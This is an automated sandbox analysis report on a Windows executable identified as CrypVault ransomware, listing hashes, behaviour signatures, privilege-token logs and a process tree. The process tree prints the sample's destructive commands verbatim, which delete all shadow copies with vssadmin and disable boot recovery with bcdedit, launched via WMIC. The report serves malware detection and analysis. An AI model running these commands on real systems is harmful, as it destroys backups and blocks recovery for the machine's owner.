Analysis
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max time kernel
122s -
max time network
139s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
27-04-2021 00:12
Static task
static1
Behavioral task
behavioral1
Sample
2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe
Resource
win7v20210408
General
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Target
2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe
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Size
464KB
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MD5
fe7bc3cd6512f31d48a58caf3e558fee
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SHA1
5b2e6e541ea6f47e369291396a5d91564ece2eb8
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SHA256
2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7
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SHA512
26e5d85f46afcf1434ccce85836014a5adf11728a609e79a8d19d2e6da6f84588eb4b650b5b5184b66bd255cb8d4b0a19bbfad65dc7f058928c7e5bc88f1730b
Malware Config
Signatures
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CrypVault
Ransomware family which makes encrypted files look like they have been quarantined by AV.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2668 796 cmd.exe 22 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 908 bcdedit.exe 624 bcdedit.exe -
Executes dropped EXE 3 IoCs
pid Process 3784 7za.exe 4024 6D00D3EF97.exe 4108 6D00D3EF97.exe -
resource yara_rule behavioral2/memory/4108-125-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral2/memory/4108-129-0x0000000000400000-0x000000000041A000-memory.dmp upx -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta 6D00D3EF97.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta 6D00D3EF97.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4024 set thread context of 4108 4024 6D00D3EF97.exe 84 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1000 vssadmin.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings 6D00D3EF97.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2196 WINWORD.EXE 2196 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4024 6D00D3EF97.exe 4024 6D00D3EF97.exe 4108 6D00D3EF97.exe 4108 6D00D3EF97.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeImpersonatePrivilege 4108 6D00D3EF97.exe Token: SeTcbPrivilege 4108 6D00D3EF97.exe Token: SeChangeNotifyPrivilege 4108 6D00D3EF97.exe Token: SeCreateTokenPrivilege 4108 6D00D3EF97.exe Token: SeBackupPrivilege 4108 6D00D3EF97.exe Token: SeRestorePrivilege 4108 6D00D3EF97.exe Token: SeIncreaseQuotaPrivilege 4108 6D00D3EF97.exe Token: SeAssignPrimaryTokenPrivilege 4108 6D00D3EF97.exe Token: SeIncreaseQuotaPrivilege 4256 WMIC.exe Token: SeSecurityPrivilege 4256 WMIC.exe Token: SeTakeOwnershipPrivilege 4256 WMIC.exe Token: SeLoadDriverPrivilege 4256 WMIC.exe Token: SeSystemProfilePrivilege 4256 WMIC.exe Token: SeSystemtimePrivilege 4256 WMIC.exe Token: SeProfSingleProcessPrivilege 4256 WMIC.exe Token: SeIncBasePriorityPrivilege 4256 WMIC.exe Token: SeCreatePagefilePrivilege 4256 WMIC.exe Token: SeBackupPrivilege 4256 WMIC.exe Token: SeRestorePrivilege 4256 WMIC.exe Token: SeShutdownPrivilege 4256 WMIC.exe Token: SeDebugPrivilege 4256 WMIC.exe Token: SeSystemEnvironmentPrivilege 4256 WMIC.exe Token: SeRemoteShutdownPrivilege 4256 WMIC.exe Token: SeUndockPrivilege 4256 WMIC.exe Token: SeManageVolumePrivilege 4256 WMIC.exe Token: 33 4256 WMIC.exe Token: 34 4256 WMIC.exe Token: 35 4256 WMIC.exe Token: 36 4256 WMIC.exe Token: SeIncreaseQuotaPrivilege 4256 WMIC.exe Token: SeSecurityPrivilege 4256 WMIC.exe Token: SeTakeOwnershipPrivilege 4256 WMIC.exe Token: SeLoadDriverPrivilege 4256 WMIC.exe Token: SeSystemProfilePrivilege 4256 WMIC.exe Token: SeSystemtimePrivilege 4256 WMIC.exe Token: SeProfSingleProcessPrivilege 4256 WMIC.exe Token: SeIncBasePriorityPrivilege 4256 WMIC.exe Token: SeCreatePagefilePrivilege 4256 WMIC.exe Token: SeBackupPrivilege 4256 WMIC.exe Token: SeRestorePrivilege 4256 WMIC.exe Token: SeShutdownPrivilege 4256 WMIC.exe Token: SeDebugPrivilege 4256 WMIC.exe Token: SeSystemEnvironmentPrivilege 4256 WMIC.exe Token: SeRemoteShutdownPrivilege 4256 WMIC.exe Token: SeUndockPrivilege 4256 WMIC.exe Token: SeManageVolumePrivilege 4256 WMIC.exe Token: 33 4256 WMIC.exe Token: 34 4256 WMIC.exe Token: 35 4256 WMIC.exe Token: 36 4256 WMIC.exe Token: SeBackupPrivilege 2744 vssvc.exe Token: SeRestorePrivilege 2744 vssvc.exe Token: SeAuditPrivilege 2744 vssvc.exe Token: SeImpersonatePrivilege 4108 6D00D3EF97.exe Token: SeTcbPrivilege 4108 6D00D3EF97.exe Token: SeChangeNotifyPrivilege 4108 6D00D3EF97.exe Token: SeCreateTokenPrivilege 4108 6D00D3EF97.exe Token: SeBackupPrivilege 4108 6D00D3EF97.exe Token: SeRestorePrivilege 4108 6D00D3EF97.exe Token: SeIncreaseQuotaPrivilege 4108 6D00D3EF97.exe Token: SeAssignPrimaryTokenPrivilege 4108 6D00D3EF97.exe Token: SeImpersonatePrivilege 4108 6D00D3EF97.exe Token: SeTcbPrivilege 4108 6D00D3EF97.exe Token: SeChangeNotifyPrivilege 4108 6D00D3EF97.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 4024 6D00D3EF97.exe 4024 6D00D3EF97.exe 2196 WINWORD.EXE 2196 WINWORD.EXE 2196 WINWORD.EXE 2196 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
description pid Process procid_target PID 4432 wrote to memory of 5056 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 76 PID 4432 wrote to memory of 5056 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 76 PID 4432 wrote to memory of 5056 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 76 PID 4432 wrote to memory of 5100 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 78 PID 4432 wrote to memory of 5100 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 78 PID 4432 wrote to memory of 5100 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 78 PID 4432 wrote to memory of 3784 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 80 PID 4432 wrote to memory of 3784 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 80 PID 4432 wrote to memory of 3784 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 80 PID 4432 wrote to memory of 2196 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 82 PID 4432 wrote to memory of 2196 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 82 PID 4432 wrote to memory of 4024 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 83 PID 4432 wrote to memory of 4024 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 83 PID 4432 wrote to memory of 4024 4432 2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe 83 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4024 wrote to memory of 4108 4024 6D00D3EF97.exe 84 PID 4108 wrote to memory of 4144 4108 6D00D3EF97.exe 85 PID 4108 wrote to memory of 4144 4108 6D00D3EF97.exe 85 PID 4108 wrote to memory of 4144 4108 6D00D3EF97.exe 85 PID 4108 wrote to memory of 4256 4108 6D00D3EF97.exe 86 PID 4108 wrote to memory of 4256 4108 6D00D3EF97.exe 86 PID 4108 wrote to memory of 4256 4108 6D00D3EF97.exe 86 PID 2668 wrote to memory of 1000 2668 cmd.exe 90 PID 2668 wrote to memory of 1000 2668 cmd.exe 90 PID 2668 wrote to memory of 908 2668 cmd.exe 93 PID 2668 wrote to memory of 908 2668 cmd.exe 93 PID 2668 wrote to memory of 624 2668 cmd.exe 94 PID 2668 wrote to memory of 624 2668 cmd.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe"C:\Users\Admin\AppData\Local\Temp\2fdb9fa88fa2082583d32914c3863521604dd32218c26a0f35e0141ba35408b7.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo 75BB576D00D3EF972⤵PID:5056
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\75BB57" 7za.exe2⤵PID:5100
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C:\Users\Admin\AppData\Local\Temp\7za.exe"C:\Users\Admin\AppData\Local\Temp\7za.exe" e "C:\Users\Admin\AppData\Local\Temp\6D00D3EF97" -y -p6D00D3EF972⤵
- Executes dropped EXE
PID:3784
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6D00D3EF97.doc" /o ""2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2196
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C:\Users\Admin\AppData\Local\Temp\6D00D3EF97.exe"C:\Users\Admin\AppData\Local\Temp\6D00D3EF97.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4024 -
C:\Users\Admin\AppData\Local\Temp\6D00D3EF97.exeC:\Users\Admin\AppData\Local\Temp\6D00D3EF97.exe3⤵
- Executes dropped EXE
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\VAULT.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}4⤵PID:4144
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C:\Windows\SysWOW64\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4256
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C:\Windows\system32\cmd.execmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1000
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C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:908
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C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:624
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2744